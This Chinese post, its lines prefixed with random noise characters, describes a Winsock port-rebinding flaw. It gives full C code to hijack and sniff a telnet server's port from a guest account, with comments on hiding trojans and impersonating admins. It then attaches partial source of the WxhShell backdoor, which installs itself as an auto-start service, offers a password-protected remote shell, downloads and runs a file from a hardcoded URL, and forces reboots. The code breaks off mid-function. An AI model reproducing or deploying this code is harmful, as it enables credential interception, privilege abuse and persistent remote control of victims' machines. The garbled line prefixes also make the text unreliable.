在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A+1]Ql)$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
9iddanQA +\[![r^P saddr.sin_family = AF_INET;
`e'o~oSu pMZf!&tM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$F`<&o )bXx9,VL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Fif^V h)l&K%4; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
qb&NS4# sa(M66KkU 这意味着什么?意味着可以进行如下的攻击:
-WBz]GW4r xnuv4Z}]t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mc=!X .Jat^iFj0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
mx(%tz^t QDgEJ%U- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QD;f~fZ Nk7e iQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
MD
?F1l"}% | ]!Ky[P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$x_52 j\j LVFsd6:h 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f'`nx;@X Re,$<9V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
s!;VUr\ L8w76| #include
E,D:D3O #include
r|\'9"@ #include
eo*u(@ #include
6n6VEwYj DWORD WINAPI ClientThread(LPVOID lpParam);
[T[9*6Kt int main()
6:@t=C {
1s}NQ3 WORD wVersionRequested;
CX ]\Q-y DWORD ret;
&kjwIg{ WSADATA wsaData;
fzFvfMAU BOOL val;
@FdCbPl$ SOCKADDR_IN saddr;
JfP\7 SOCKADDR_IN scaddr;
<X I35\^ int err;
4>"cc@8&~ SOCKET s;
q'Pz3/mk SOCKET sc;
Ux)p%- int caddsize;
t3#H@0< HANDLE mt;
F2PLy
q DWORD tid;
HLoQ}oK|K wVersionRequested = MAKEWORD( 2, 2 );
l@Eq|y, err = WSAStartup( wVersionRequested, &wsaData );
Q(;B) if ( err != 0 ) {
Oz#EGjz printf("error!WSAStartup failed!\n");
*n*N|6+ return -1;
PZ!dn%4jy }
yhtvr5z1 saddr.sin_family = AF_INET;
X#kjt)W I~]Q55 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
u_6BHsU IzGB saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|1QbO`f/F saddr.sin_port = htons(23);
BheEI;} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B/sBYVU {
[*?_ printf("error!socket failed!\n");
rxy{a return -1;
|:e|~sism }
$nfBvf val = TRUE;
^L8Wn6s' //SO_REUSEADDR选项就是可以实现端口重绑定的
io9xI3{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
# +QWi0B {
InPy:} printf("error!setsockopt failed!\n");
jqX@&}3@ return -1;
>Z2,^5P{ }
/\-2l+y>J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=, C9O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3u?`q%Y-e //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
FfYd+]+? 8R)D ! 7[l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3m43nJ.~ {
"'F;lzq ret=GetLastError();
<nb3~z1 printf("error!bind failed!\n");
$p0 /6c return -1;
vlPl(F1 }
FV^4 listen(s,2);
0 .FHdJ< while(1)
1~R$$P11[9 {
R*Xu(89 caddsize = sizeof(scaddr);
0tW<LR-}E //接受连接请求
Pn+IJ=0Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,XeyE;|| if(sc!=INVALID_SOCKET)
*1Ut} {
+w k]iH mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)@<HCRQ'q if(mt==NULL)
pyg!rf- {
&PRx,G5 printf("Thread Creat Failed!\n");
F%PwIB~cy break;
TDAWI_83- }
.B 85!lCF }
%K%^ ]{ CloseHandle(mt);
q?imE ~&U }
'nlRY5@2 closesocket(s);
7>'uj7r]= WSACleanup();
M q^|M~ return 0;
%Le :wC }
j!lAxlOX DWORD WINAPI ClientThread(LPVOID lpParam)
y^mWG1"O {
V\@jC\-5Vt SOCKET ss = (SOCKET)lpParam;
N;Z`%& SOCKET sc;
Ue{vg$5|| unsigned char buf[4096];
2/yXY_L SOCKADDR_IN saddr;
] Wx>)LT long num;
IP30y>\ DWORD val;
mFqSD DWORD ret;
" K 8&{= //如果是隐藏端口应用的话,可以在此处加一些判断
e}'#Xv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^])e[RN7?n saddr.sin_family = AF_INET;
zd*3R+>U'> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ocIt@#20K saddr.sin_port = htons(23);
#cj\~T.,, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.1.J5>/n {
O;X(pE/G printf("error!socket failed!\n");
9TVB<}0G return -1;
SUH mBo"} }
\Y!T>nWn)I val = 100;
lX98"} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y{k>*: Ax_ {
HY jMNj0 ret = GetLastError();
b&lN%+%} return -1;
eeW' [ }
LbJtpwz>z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)\T@W {
$^W-Wmsz ret = GetLastError();
a
-xW 8 return -1;
XJx,9trH }
$nB-ADRu@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!;o\5x<'$O {
Yz&*PPx printf("error!socket connect failed!\n");
QU^/[75Ea0 closesocket(sc);
<91t`&aWW closesocket(ss);
*2JH_Cj` return -1;
le7
`uz!% }
?xtt7*'D while(1)
Sao>P[#x {
*:=];1O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UGhW0X3k //如果是嗅探内容的话,可以再此处进行内容分析和记录
LXHwX*`Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
nE/=:{~Ws num = recv(ss,buf,4096,0);
uy/y wm/?= if(num>0)
AIuMX4nb send(sc,buf,num,0);
-"W )|oC_ else if(num==0)
5cD
XWF break;
h [nH<m num = recv(sc,buf,4096,0);
n?'d|h if(num>0)
n,t6v5>88 send(ss,buf,num,0);
<,jAk4 else if(num==0)
kWB, ;7 break;
Ya}T2VX }
cCM
j\H@ closesocket(ss);
UdT&cG closesocket(sc);
/ Zo~1q return 0 ;
P3'2IzNw }
W8f`J2^"M BJ~ivT< {5T0RL{\N ==========================================================
+$>N]1 G1}~.%J 下边附上一个代码,,WXhSHELL
?VFM]hO w[
Axs8N' ==========================================================
n!GWqle 8@E8!w&~ #include "stdafx.h"
TE3*ktB{N (# JMB) #include <stdio.h>
rmOQ{2} #include <string.h>
h^}_YaT\ #include <windows.h>
BjM+0[HC #include <winsock2.h>
}o-|8P:Y #include <winsvc.h>
xT W3UY #include <urlmon.h>
N<9w{zIK( "Dyym<J #pragma comment (lib, "Ws2_32.lib")
d
i!"IQAvK #pragma comment (lib, "urlmon.lib")
Tdg6kkJ b.QpHrnhtK #define MAX_USER 100 // 最大客户端连接数
vFTXTbt'h #define BUF_SOCK 200 // sock buffer
:@.C4oq #define KEY_BUFF 255 // 输入 buffer
:~yzDk\I"- ,{?wKXJ}L! #define REBOOT 0 // 重启
H{ZLk, #define SHUTDOWN 1 // 关机
@gNpJB]V ~eDI$IO #define DEF_PORT 5000 // 监听端口
K}
+S+
*_ 5N\+@grp #define REG_LEN 16 // 注册表键长度
8KFj<N>' #define SVC_LEN 80 // NT服务名长度
)AOPiC$jL o6*/o ]] // 从dll定义API
sp|q((z{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
sF y]+DB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
yL.^ = typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
D/Rv&>Jh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}d_<\ wTTRoeJ} // wxhshell配置信息
9hy'DcSy, struct WSCFG {
XM$GQn]B int ws_port; // 监听端口
~L~]QN\3 char ws_passstr[REG_LEN]; // 口令
u=%y int ws_autoins; // 安装标记, 1=yes 0=no
v{o? #Sk1 char ws_regname[REG_LEN]; // 注册表键名
g^jJ8k,7( char ws_svcname[REG_LEN]; // 服务名
~]&B>q char ws_svcdisp[SVC_LEN]; // 服务显示名
ei@3,{~5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
D}MoNE[r char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W+8^P(
K int ws_downexe; // 下载执行标记, 1=yes 0=no
8/Mx5~ R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
TM0b-W (H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6#E7!-u(- kfXS_\@iW1 };
aVP5% Vc| NL^ // default Wxhshell configuration
*%X.ym' struct WSCFG wscfg={DEF_PORT,
T8U[xu.> "xuhuanlingzhe",
^uhxURF 1,
S/VA~,KCe; "Wxhshell",
ZW>o5x__b "Wxhshell",
4Q;<Q" "WxhShell Service",
Lx%:t YZ "Wrsky Windows CmdShell Service",
\7yJ\I "Please Input Your Password: ",
#pX8{Tf[ 1,
v; Es^
YI "
http://www.wrsky.com/wxhshell.exe",
pajy#0 U "Wxhshell.exe"
G.Tpl-m };
!3h{lEB #7o0dE;Kg9 // 消息定义模块
*<r%aeG$em char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`_GO=QQ char *msg_ws_prompt="\n\r? for help\n\r#>";
YZ<
NP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7aQn; char *msg_ws_ext="\n\rExit.";
//<:k8 char *msg_ws_end="\n\rQuit.";
%*jGim~s char *msg_ws_boot="\n\rReboot...";
:W~f;k char *msg_ws_poff="\n\rShutdown...";
eES'}[W> char *msg_ws_down="\n\rSave to ";
as(*B-_n~ iT.|vr1HG char *msg_ws_err="\n\rErr!";
^7Lk-a7gp char *msg_ws_ok="\n\rOK!";
!Av1Leb9$ -KiRj!v| char ExeFile[MAX_PATH];
EL7T'zJ$ int nUser = 0;
.a,(pq Jg HANDLE handles[MAX_USER];
@V$I?iXV int OsIsNt;
&$F[/[Ds+ 3p_b8K_bG SERVICE_STATUS serviceStatus;
@bT3'K-4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
z?kd'j`FG !lhFKb;
// 函数声明
<GaT|Hhc= int Install(void);
D^u\l int Uninstall(void);
kon5+g9q int DownloadFile(char *sURL, SOCKET wsh);
>!
oF0R_< int Boot(int flag);
:G}DAUFN void HideProc(void);
4[1k\ int GetOsVer(void);
lUHtjr int Wxhshell(SOCKET wsl);
vL$|9|W( void TalkWithClient(void *cs);
%}h`+L int CmdShell(SOCKET sock);
"y$ qrN- int StartFromService(void);
9 #Y2`pT int StartWxhshell(LPSTR lpCmdLine);
zmb@*/fK p![&8i@ym VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
J)*8|E9P VOID WINAPI NTServiceHandler( DWORD fdwControl );
s`c?: Hd0Xx}3& // 数据结构和表定义
Vv7PCaq SERVICE_TABLE_ENTRY DispatchTable[] =
ufPCx|x~ {
H* /&A9(" {wscfg.ws_svcname, NTServiceMain},
<Y>3 {NULL, NULL}
,eXFN?CB };
W`x)=y]Z 1~@|eWr| // 自我安装
)~}PgbZ^ int Install(void)
> rw"Rd' {
nLJBq)i char svExeFile[MAX_PATH];
_R74/| HKEY key;
ZoxS*Xk strcpy(svExeFile,ExeFile);
X`1p'JD -NzTqLBn // 如果是win9x系统,修改注册表设为自启动
Pbe7SRdr^ if(!OsIsNt) {
bMmra.x4L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&$#99\/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5
`=KyHi:b RegCloseKey(key);
EkZjO Ci if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K]<u8eF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zQc"bcif5( RegCloseKey(key);
k 4B_W return 0;
OQFi.8 }
a5?A!k\2 }
B{aU;{1 }
Cs4hgb| else {
h0Jl_f#Y lw[<STpD; // 如果是NT以上系统,安装为系统服务
([KN*OF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
XG&K32_fs if (schSCManager!=0)
fY_%33_I$ {
TwFb%YM SC_HANDLE schService = CreateService
hnzNP\$U] (
c~+l-GIWm schSCManager,
DA=1KaJ . wscfg.ws_svcname,
B< hEx@
wscfg.ws_svcdisp,
jdM=SBy7q SERVICE_ALL_ACCESS,
S}cF0B1E* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"IwM:v SERVICE_AUTO_START,
)0-o%- e SERVICE_ERROR_NORMAL,
m7m
\`; svExeFile,
cPuHLwwYf NULL,
_whF^g8 NULL,
|<(t}}X NULL,
a$m_D!b~_ NULL,
9m8ee&, NULL
[Oy >R
);
FT.@1/ ) if (schService!=0)
~`R1sSr" {
qq;b~ 3kW CloseServiceHandle(schService);
zvr\36 CloseServiceHandle(schSCManager);
!ZrB^?sO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|$e:* strcat(svExeFile,wscfg.ws_svcname);
/U*yw5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4j3oT)+8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pjN:Y] RegCloseKey(key);
*Jt8 return 0;
?9e] }
}bMWTT }
2xTT)9Tq* CloseServiceHandle(schSCManager);
IN^_BKQt }
V@Wcb$mgk }
uV~e|X
"9s :woa&(wN;1 return 1;
<Wy>^<` }
*]x_,:R6Ow
%+wF" // 自我卸载
}-p,iTm int Uninstall(void)
zu<3^=3 {
@^?XaU HKEY key;
$Ha%Gr |Q!4GeQL[ if(!OsIsNt) {
0=;YnsY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N E=
w6 RegDeleteValue(key,wscfg.ws_regname);
gX,9Gh RegCloseKey(key);
2[up+;%Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A]?^ H< RegDeleteValue(key,wscfg.ws_regname);
254~:eB0 RegCloseKey(key);
XDYosC: return 0;
a)9rs\Is{ }
p4wr`"Zz }
V`k8j-*s }
>}SRSqJu else {
JD~a UB% C4NRDwU|. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
If'2rE7J if (schSCManager!=0)
n93zD*;5 {
)(bxpW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j} RzXJ~t if (schService!=0)
T~s}N x# {
yVS\Q,:J9 if(DeleteService(schService)!=0) {
FT/amCRyT CloseServiceHandle(schService);
HC7JMj CloseServiceHandle(schSCManager);
U8O(;+ return 0;
A}G|Yfn }
E*|tOj9`1n CloseServiceHandle(schService);
-_~)f{KN@ }
.mPg0 CloseServiceHandle(schSCManager);
rkYjq4Z@ }
=Od>;|]m }
f0oek{ Kx6y"
{me| return 1;
R8<eN9bJ9 }
iV
hJH4 .Z%G@X* // 从指定url下载文件
>;nS8{2o int DownloadFile(char *sURL, SOCKET wsh)
Coa -8j*R7 {
f=I:DkR HRESULT hr;
~O4|KY char seps[]= "/";
~L4eZ char *token;
D;js.ZF char *file;
Y\?j0X; char myURL[MAX_PATH];
arh@`'Q char myFILE[MAX_PATH];
|F!F{d^p E
_iO@ strcpy(myURL,sURL);
mU G
%LM token=strtok(myURL,seps);
8QF`,oXQO while(token!=NULL)
gb 4pN {
nGrVw& file=token;
+t]Xj1Q token=strtok(NULL,seps);
3s(Ia^ }
v8@eW.I1 @Fx@5e GetCurrentDirectory(MAX_PATH,myFILE);
FA$zZs10\ strcat(myFILE, "\\");
rt b* n~ strcat(myFILE, file);
k
dU!
kj send(wsh,myFILE,strlen(myFILE),0);
@]'SeiNp send(wsh,"...",3,0);
g%\L&}Jd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
qm(1:iK,0 if(hr==S_OK)
1^{`lK~2 return 0;
._<ii 2K' else
JSW&rn return 1;
=n0*{~r fk3kbdI }
8/Rm!.8+~ c8DZJSO // 系统电源模块
`ROEV~ int Boot(int flag)
Dip*}8$o(w {
WC-_+9)2& HANDLE hToken;
n33kb/q* TOKEN_PRIVILEGES tkp;
U9ZbVjqv@ a8s4T$ if(OsIsNt) {
b!a
%YLL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^M
Ey, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
nGa1a tkp.PrivilegeCount = 1;
T1NH eH> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nl@E[yA9[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
kuS/S\Z5K if(flag==REBOOT) {
3Gd0E;3sk~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
I@./${o return 0;
>XE`h9 }
,w`~K:b. else {
CC8k&u, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
aRwnRii return 0;
f7+Cz>R }
r!K|E95oj9 }
&!1}`4$[T else {
R6@uM<